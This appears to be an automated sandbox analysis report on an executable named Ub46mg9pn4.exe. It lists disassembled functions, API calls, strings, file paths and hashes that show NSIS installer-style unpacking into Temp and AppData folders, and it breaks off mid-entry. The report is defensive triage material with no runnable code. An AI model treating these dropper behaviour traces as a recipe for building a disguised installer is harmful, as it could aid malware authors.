Opcode ID: 5a24c136153c29b9d98a91a4f463aeb2504b823c6cdae7135cdbbdb8769d9cc1
Instruction ID: 952ca616c20dc2fa21031af5d26a5f3ec91fa4f9dea92b18a1e2b318678e368b
Opcode Fuzzy Hash: 5a24c136153c29b9d98a91a4f463aeb2504b823c6cdae7135cdbbdb8769d9cc1
Instruction Fuzzy Hash: 10129C75D0064AEFEB20CFA4C8806EEB7F4FB083D4F61452AE565E7198D774AA80DB50

Function 00405ABE Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 148
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\,763B2EE0,00000000), ref: 00405AE7
lstrcatW.KERNEL32(00425730,\*.*,00425730,?,?,C:\Users\user\AppData\Local\Temp\,763B2EE0,00000000), ref: 00405B2F
lstrcatW.KERNEL32(?,0040A014,?,00425730,?,?,C:\Users\user\AppData\Local\Temp\,763B2EE0,00000000), ref: 00405B52
lstrlenW.KERNEL32(?,?,0040A014,?,00425730,?,?,C:\Users\user\AppData\Local\Temp\,763B2EE0,00000000), ref: 00405B58
FindFirstFileW.KERNEL32(00425730,?,?,?,0040A014,?,00425730,?,?,C:\Users\user\AppData\Local\Temp\,763B2EE0,00000000), ref: 00405B68
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 00405C08
FindClose.KERNEL32(00000000), ref: 00405C17

Strings

0WB, xrefs: 00405B17
C:\Users\user\AppData\Local\Temp\, xrefs: 00405ACC
\*.*, xrefs: 00405B29
"C:\Users\user\Desktop\Ub46mg9pn4.exe", xrefs: 00405ABE

Memory Dump Source

Source File: 00000001.00000002.119995117878.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.119995090477.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995145421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000452000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000454000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995367944.0000000000457000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Ub46mg9pn4.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: "C:\Users\user\Desktop\Ub46mg9pn4.exe"$0WB$C:\Users\user\AppData\Local\Temp\$\*.*
API String ID: 2035342205-448933420
Opcode ID: 6a659da8d5721ce07b89c17eb76fa4599111a2d920b673130fc03b7c63125bad
Instruction ID: 07f17dd178ac6d8b62b8dc139a3c49ba2dacd8a3a96bf447fe2624e5f5ce8b98
Opcode Fuzzy Hash: 6a659da8d5721ce07b89c17eb76fa4599111a2d920b673130fc03b7c63125bad
Instruction Fuzzy Hash: 1741D030904A18A6DB21AB618D89FBF7678EF42719F50813BF801B11D1D77C5982DEAE

Function 00406ABA Relevance: 5.4, APIs: 4, Instructions: 382
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000001.00000002.119995117878.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.119995090477.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995145421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000452000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000454000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995367944.0000000000457000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Ub46mg9pn4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c070ca994c387dc491d90c6da3338e95d076c4c889754936ff9c01511acbaf1
Instruction ID: 906bff5cfe4bf8fc25f5c52b70697fc94252e662920e9b50785524ea690ef068
Opcode Fuzzy Hash: 3c070ca994c387dc491d90c6da3338e95d076c4c889754936ff9c01511acbaf1
Instruction Fuzzy Hash: EBF17870D04229CBDF18CFA8C8946ADBBB1FF44305F15816ED856BB281D7386A86DF45

Function 004066F3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(?,00426778,00425F30,00405DD2,00425F30,00425F30,00000000,00425F30,00425F30,?,?,763B2EE0,00405ADE,?,C:\Users\user\AppData\Local\Temp\,763B2EE0), ref: 004066FE
FindClose.KERNELBASE(00000000), ref: 0040670A

Strings

xgB, xrefs: 004066F4

Memory Dump Source

Source File: 00000001.00000002.119995117878.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.119995090477.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995145421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000452000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000454000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995367944.0000000000457000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Ub46mg9pn4.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: xgB
API String ID: 2295610775-399326502
Opcode ID: 8f8798618dbeb96281b7e152f222c6bef4cfc1fb78c0b92afc6d3f182eb863fd
Instruction ID: 551d457f2096baf6d1028c2489454c6ec1272a262abf728b5c7319079dd029a3
Opcode Fuzzy Hash: 8f8798618dbeb96281b7e152f222c6bef4cfc1fb78c0b92afc6d3f182eb863fd
Instruction Fuzzy Hash: DBD012315090209BC201173CBE4C85B7A989F953397128B37B466F71E0C7348C638AE8

Function 00403ABE Relevance: 47.5, APIs: 13, Strings: 14, Instructions: 215
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040678A: GetModuleHandleA.KERNEL32(?,00000020,?,004034FB,0000000A), ref: 0040679C
Part of subcall function 0040678A: GetProcAddress.KERNEL32(00000000,?), ref: 004067B7

lstrcatW.KERNEL32(1033,00423728,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423728,00000000,00000002,C:\Users\user\AppData\Local\Temp\,763B3420,"C:\Users\user\Desktop\Ub46mg9pn4.exe",00000000), ref: 00403B3F
lstrlenW.KERNEL32(Call,?,?,?,Call,00000000,C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Eddadigtet,1033,00423728,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423728,00000000,00000002,C:\Users\user\AppData\Local\Temp\), ref: 00403BBF
lstrcmpiW.KERNEL32(?,.exe,Call,?,?,?,Call,00000000,C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Eddadigtet,1033,00423728,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423728,00000000), ref: 00403BD2
GetFileAttributesW.KERNEL32(Call), ref: 00403BDD
LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Eddadigtet), ref: 00403C26

Part of subcall function 004062F7: wsprintfW.USER32 ref: 00406304

RegisterClassW.USER32(004291E0), ref: 00403C63
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00403C7B
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403CB0
ShowWindow.USER32(00000005,00000000), ref: 00403CE6
GetClassInfoW.USER32(00000000,RichEdit20W,004291E0), ref: 00403D12
GetClassInfoW.USER32(00000000,RichEdit,004291E0), ref: 00403D1F
RegisterClassW.USER32(004291E0), ref: 00403D28
DialogBoxParamW.USER32(?,00000000,00403E6C,00000000), ref: 00403D47

Strings

RichEdit, xrefs: 00403D19
RichEd32, xrefs: 00403CFA
C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Eddadigtet, xrefs: 00403B4E, 00403B56, 00403BF9, 00403BFF, 00403C0F
Control Panel\Desktop\ResourceLocale, xrefs: 00403AF2
.DEFAULT\Control Panel\International, xrefs: 00403B2A
(7B, xrefs: 00403AEA
RichEdit20W, xrefs: 00403D0A, 00403D10
.exe, xrefs: 00403BCC
Call, xrefs: 00403B86, 00403B8F, 00403B9D, 00403BEC, 00403BF2
C:\Users\user\AppData\Local\Temp\, xrefs: 00403ACA
RichEd20, xrefs: 00403CEC
"C:\Users\user\Desktop\Ub46mg9pn4.exe", xrefs: 00403AC2
_Nb, xrefs: 00403C42, 00403CAA
1033, xrefs: 00403ADE, 00403B3A

Memory Dump Source

Source File: 00000001.00000002.119995117878.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.119995090477.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995145421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000452000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000454000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995367944.0000000000457000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Ub46mg9pn4.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: "C:\Users\user\Desktop\Ub46mg9pn4.exe"$(7B$.DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Eddadigtet$Call$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 1975747703-2473224526
Opcode ID: ee5fd85ec343bc094daa65e3c13ef1cff60d12f5a08356af1ceed260609d9923
Instruction ID: afe91a4761cf59ebc4b7da6c1f2e4a45d87dcf75ce704844472433b73fc63153
Opcode Fuzzy Hash: ee5fd85ec343bc094daa65e3c13ef1cff60d12f5a08356af1ceed260609d9923
Instruction Fuzzy Hash: 81619370200601BED720AF669D46E2B3A7CEB84B49F40447FFD45B62E2DB7D9912862D

Function 00402F14 Relevance: 26.5, APIs: 5, Strings: 10, Instructions: 203
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00402F28
GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\Ub46mg9pn4.exe,00000400), ref: 00402F44

Part of subcall function 00405EA2: GetFileAttributesW.KERNELBASE(00000003,00402F57,C:\Users\user\Desktop\Ub46mg9pn4.exe,80000000,00000003), ref: 00405EA6
Part of subcall function 00405EA2: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405EC8

GetFileSize.KERNEL32(00000000,00000000,00439000,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\Ub46mg9pn4.exe,C:\Users\user\Desktop\Ub46mg9pn4.exe,80000000,00000003), ref: 00402F8D
GlobalAlloc.KERNELBASE(00000040,0040A230), ref: 004030D4

Strings

Error launching installer, xrefs: 00402F64
C:\Users\user\AppData\Local\Temp\, xrefs: 00402F21, 004030EC
Inst, xrefs: 00402FFB
C:\Users\user\Desktop, xrefs: 00402F6F, 00402F74, 00402F7A
"C:\Users\user\Desktop\Ub46mg9pn4.exe", xrefs: 00402F14
Null, xrefs: 0040300D
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 0040316B
Error writing temporary file. Make sure your temp folder is valid., xrefs: 0040311D
C:\Users\user\Desktop\Ub46mg9pn4.exe, xrefs: 00402F2E, 00402F3D, 00402F51, 00402F6E
soft, xrefs: 00403004

Memory Dump Source

Source File: 00000001.00000002.119995117878.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.119995090477.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995145421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000452000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000454000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995367944.0000000000457000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Ub46mg9pn4.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: "C:\Users\user\Desktop\Ub46mg9pn4.exe"$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\Ub46mg9pn4.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 2803837635-2248793773
Opcode ID: 4aa3185e2732ea1d92bd2938039fdcb50ab67e449d873de13479ee0b69e06266
Instruction ID: 409c8f22eebac3ceeba7cf51205c68f93d68dba00e9ec32c8e3ebc1c19b8881b
Opcode Fuzzy Hash: 4aa3185e2732ea1d92bd2938039fdcb50ab67e449d873de13479ee0b69e06266
Instruction Fuzzy Hash: 8D61E031A00204ABDB20EF65DD85A9A7BA8EB04355F20817FF901F72D0C77C9A418BAD

Function 004063D2 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 209
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(Call,00000400), ref: 00406513
GetWindowsDirectoryW.KERNEL32(Call,00000400,00000000,00422708,?,0040544B,00422708,00000000), ref: 00406526
SHGetSpecialFolderLocation.SHELL32(0040544B,00000000,00000000,00422708,?,0040544B,00422708,00000000), ref: 00406562
SHGetPathFromIDListW.SHELL32(00000000,Call), ref: 00406570
CoTaskMemFree.OLE32(00000000), ref: 0040657B
lstrcatW.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch), ref: 004065A1
lstrlenW.KERNEL32(Call,00000000,00422708,?,0040544B,00422708,00000000), ref: 004065F9

Strings

Call, xrefs: 004063FC, 004064D7, 004064DE, 004064E2, 004064FC, 004064FD, 00406512, 00406525, 00406541, 0040656C, 004065A0, 004065A6, 004065C2, 004065D5, 004065F2, 004065F8, 00406604, 00406637
\Microsoft\Internet Explorer\Quick Launch, xrefs: 0040659B
Software\Microsoft\Windows\CurrentVersion, xrefs: 004064E3

Memory Dump Source

Source File: 00000001.00000002.119995117878.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.119995090477.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995145421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000452000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000454000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995367944.0000000000457000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Ub46mg9pn4.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskWindowslstrcatlstrlen
String ID: Call$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 717251189-1230650788
Opcode ID: 15e8cba43a00d1251787e7505a7f0100c69544ffb4eb695e889bacc90eff1716
Instruction ID: 781aa6555cb08bc9a39a1310e2b7c8a7a94b670d8f790df7948cd7d686d0a9f3
Opcode Fuzzy Hash: 15e8cba43a00d1251787e7505a7f0100c69544ffb4eb695e889bacc90eff1716
Instruction Fuzzy Hash: 52611771600101ABDF209F54ED40ABE37A5AF40314F56453FE947B62D4D73D8AA2CB5D

Function 0040176F Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 145
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatW.KERNEL32(00000000,00000000,Call,C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Eddadigtet\Coneine,?,?,00000031), ref: 004017B0
CompareFileTime.KERNEL32(-00000014,?,Call,Call,00000000,00000000,Call,C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Eddadigtet\Coneine,?,?,00000031), ref: 004017D5

Part of subcall function 004063B0: lstrcpynW.KERNEL32(?,?,00000400,0040355A,00429240,NSIS Error,?,00000006,00000008,0000000A), ref: 004063BD

Part of subcall function 00405414: lstrlenW.KERNEL32(00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402EEC,00000000,?), ref: 0040544C
Part of subcall function 00405414: lstrlenW.KERNEL32(00402EEC,00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402EEC,00000000), ref: 0040545C
Part of subcall function 00405414: lstrcatW.KERNEL32(00422708,00402EEC,00402EEC,00422708,00000000,00000000,00000000), ref: 0040546F
Part of subcall function 00405414: SetWindowTextW.USER32(00422708,00422708), ref: 00405481
Part of subcall function 00405414: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054A7
Part of subcall function 00405414: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054C1
Part of subcall function 00405414: SendMessageW.USER32(?,00001013,?,00000000), ref: 004054CF

Strings

C:\Users\user\AppData\Local\Temp\nsnB635.tmp, xrefs: 00401821, 0040183F
C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Eddadigtet\Coneine, xrefs: 0040179E
Call, xrefs: 0040178D, 00401796, 004017A3, 004017B5, 004017C1, 004017F7, 0040180D, 0040182B, 00401867, 004018E8, 004018F1, 004018FB, 00401906
C:\Users\user\AppData\Local\Temp\nsnB635.tmp\System.dll, xrefs: 00401835, 00401851

Memory Dump Source

Source File: 00000001.00000002.119995117878.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.119995090477.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995145421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000452000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000454000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995367944.0000000000457000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Ub46mg9pn4.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: C:\Users\user\AppData\Local\Temp\nsnB635.tmp$C:\Users\user\AppData\Local\Temp\nsnB635.tmp\System.dll$C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Eddadigtet\Coneine$Call
API String ID: 1941528284-4039993879
Opcode ID: c80200c29ca938d3f9be0bc76a293d962ee4304018d07197e4f76f8e1ca0c2de
Instruction ID: 6d789f9af123ab0f865e5502c846d56d3cd3544f1fa5f1ae7e054fd30d3333f6
Opcode Fuzzy Hash: c80200c29ca938d3f9be0bc76a293d962ee4304018d07197e4f76f8e1ca0c2de
Instruction Fuzzy Hash: E741D871510115BACF117BA5CD45EAF3679EF01328B20423FF922F10E1DB3C8A519AAE

Function 00402644 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadFile.KERNELBASE(?,?,?,?), ref: 004026B0
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,00000001), ref: 004026EB
SetFilePointer.KERNELBASE(?,?,?,00000001,?,00000008,?,?,?,00000001), ref: 0040270E
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,00000001,?,00000001,?,00000008,?,?,?,00000001), ref: 00402724

Part of subcall function 00405F83: SetFilePointer.KERNEL32(?,00000000,00000000,00000001), ref: 00405F99

SetFilePointer.KERNEL32(?,?,?,00000001,?,?,00000002), ref: 004027D0

Strings

9, xrefs: 00402693

Memory Dump Source

Source File: 00000001.00000002.119995117878.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.119995090477.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995145421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000452000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000454000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995367944.0000000000457000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Ub46mg9pn4.jbxd

Similarity

API ID: File$Pointer$ByteCharMultiWide$Read
String ID: 9
API String ID: 163830602-2366072709
Opcode ID: 87cfad3e31df379bf1329a0d53b4cb21fa96f1686d8734dbec1fa7beea93af1a
Instruction ID: c360ee4afea2d2749c5a2d2d3cba589ababf6fe072d155cbc4f623872b1d9462
Opcode Fuzzy Hash: 87cfad3e31df379bf1329a0d53b4cb21fa96f1686d8734dbec1fa7beea93af1a
Instruction Fuzzy Hash: 2E51F874D0021AAADF20DFA5DA88AAEB779FF04304F50443BE511B72D0D7B899828B58

Function 0040671A Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00406731
wsprintfW.USER32 ref: 0040676C
LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 00406780

Strings

UXTHEME, xrefs: 00406723
\, xrefs: 00406742
%s%S.dll, xrefs: 00406766

Memory Dump Source

Source File: 00000001.00000002.119995117878.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.119995090477.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995145421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000452000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000454000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995367944.0000000000457000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Ub46mg9pn4.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll$UXTHEME$\
API String ID: 2200240437-1946221925
Opcode ID: 40aa1e09304642b089aa1993992f232c43871fa513f82abce0c0f0efb2bd037b
Instruction ID: 212fe184e71725d5a8014c1118872f5233ada1a9ecb6260670121aae60094f83
Opcode Fuzzy Hash: 40aa1e09304642b089aa1993992f232c43871fa513f82abce0c0f0efb2bd037b
Instruction Fuzzy Hash: BBF02170510119ABCF10BB64DD0DF9B375CAB00305F50447AA546F20D1EBBCDA78C798

Function 004058E3 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryW.KERNELBASE(?,?,00000000), ref: 00405926
GetLastError.KERNEL32 ref: 0040593A
SetFileSecurityW.ADVAPI32(?,80000007,00000001), ref: 0040594F
GetLastError.KERNEL32 ref: 00405959

Strings

C:\Users\user\Desktop, xrefs: 004058E3

Memory Dump Source

Source File: 00000001.00000002.119995117878.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.119995090477.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995145421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000452000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000454000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995367944.0000000000457000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Ub46mg9pn4.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID: C:\Users\user\Desktop
API String ID: 3449924974-3443045126
Opcode ID: 4e538d1c76d2fdfb7cd0fd00a6572ed9e7029d57e55293966324597acc96cb40
Instruction ID: c49c088e9ba2396d105a9c54abfe353073567d613583196498a7e7de041cdc41
Opcode Fuzzy Hash: 4e538d1c76d2fdfb7cd0fd00a6572ed9e7029d57e55293966324597acc96cb40
Instruction Fuzzy Hash: C8011AB1C10619DADF009FA1C9487EFBFB4EF14354F00403AD545B6291D7789618CFA9

Function 00405ED1 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00405EEF
